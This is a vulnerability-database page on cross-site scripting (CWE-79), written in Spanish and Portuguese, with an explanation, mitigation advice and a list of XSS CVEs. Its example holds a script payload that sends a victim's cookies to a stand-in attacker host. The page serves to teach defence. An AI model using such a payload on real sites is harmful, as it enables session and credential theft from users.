Fallos del tipo CWE-79

29.586 resultados

Injeção de Script entre Sites (XSS)

Ocorre quando uma aplicação web insere dados não validados ou não escapados diretamente em páginas HTML, permitindo que um atacante injete código JavaScript malicioso. Esse script é executado no navegador da vítima, roubando cookies, tokens de autenticação ou realizando ações em nome do usuário.

Ejemplo

Um site de comentários que exibe a entrada do usuário sem sanitização: se alguém escreve <script>fetch('http://atacante.com/?cookie='+document.cookie)</script> como comentário, o navegador de quem visualiza executa o script e envia seus cookies para o atacante.

Cómo mitigar

Sempre escapar (ou codificar em HTML) dados vindos do usuário antes de renderizar: use funções como htmlspecialchars() em PHP, textContent ao invés de innerHTML em JavaScript, ou use templates que escapam por padrão (como Jinja2, Vue com v-text). Implemente Content Security Policy (CSP) como camada adicional de defesa.

CVE-2024-12995MEDIUMruifang-tech Rebuild Project Tasks Section tasks cross site scriptingEPSS 0.4%CVE-2022-44956MEDIUMwebtareas 2.4p5 was discovered to contain a cross-site scripting (XSS) vulnerability in the component /projects/listprojects.php. This vulneEPSS 0.4%CVE-2023-20138MEDIUMCisco Small Business RV016, RV042, RV042G, RV082 , RV320, and RV325 Routers Cross-Site Scripting VulnerabilitiesEPSS 0.4%CVE-2024-34428MEDIUMWordPress AWSOM News Announcement plugin <= 1.6.0 - Cross Site Scripting (XSS) vulnerabilityEPSS 0.4%CVE-2026-45733HIGHTrilium: Stored XSS in note icon rendering leads to Remote Code Execution in Electron desktop appEPSS 0.4%CVE-2022-44959MEDIUMwebtareas 2.4p5 was discovered to contain a cross-site scripting (XSS) vulnerability in the component /meetings/listmeetings.php. This vulneEPSS 0.4%CVE-2023-20150MEDIUMCisco Small Business RV016, RV042, RV042G, RV082 , RV320, and RV325 Routers Cross-Site Scripting VulnerabilitiesEPSS 0.4%CVE-2022-43532HIGH A vulnerability in the web-based management interface of ClearPass Policy Manager could allow an authenticated remote attacker to conduct aEPSS 0.4%CVE-2022-41132MEDIUMWordPress Ezoic plugin <= 2.8.8 - Unauthenticated Plugin Settings Change Leading To Stored XSS VulnerabilityEPSS 0.4%CVE-2024-23345HIGHNautobot has XSS potential in rendered Markdown fieldsEPSS 0.4%CVE-2024-1706MEDIUMZKTeco ZKBio Access IVS Department Name Search Bar cross site scriptingEPSS 0.4%CVE-2023-34004MEDIUMWordPress WooCommerce Box Office Plugin <= 1.1.50 is vulnerable to Cross Site Scripting (XSS)EPSS 0.4%CVE-2024-8566MEDIUMcode-projects Online Shop Store settings.php cross site scriptingEPSS 0.4%CVE-2023-20141MEDIUMCisco Small Business RV016, RV042, RV042G, RV082 , RV320, and RV325 Routers Cross-Site Scripting VulnerabilitiesEPSS 0.4%CVE-2023-20148MEDIUMCisco Small Business RV016, RV042, RV042G, RV082 , RV320, and RV325 Routers Cross-Site Scripting VulnerabilitiesEPSS 0.4%CVE-2023-5758MEDIUMWhen opening a page in reader mode, the redirect URL could have caused attacker-controlled script to execute in a reflected Cross-Site ScripEPSS 0.4%CVE-2011-10006LOWGamerZ WP-PostRatings wp-postratings.php cross site scriptingEPSS 0.4%CVE-2023-20146MEDIUMCisco Small Business RV016, RV042, RV042G, RV082 , RV320, and RV325 Routers Cross-Site Scripting VulnerabilitiesEPSS 0.4%CVE-2024-9378MEDIUMYML for Yandex Market <= 4.7.2 - Reflected Cross-Site ScriptingEPSS 0.4%CVE-2022-36357MEDIUMWordPress ULTIMATE TABLES plugin <= 1.6.5 - Unauth. Reflected Cross-Site Scripting (XSS) vulnerabilityEPSS 0.4%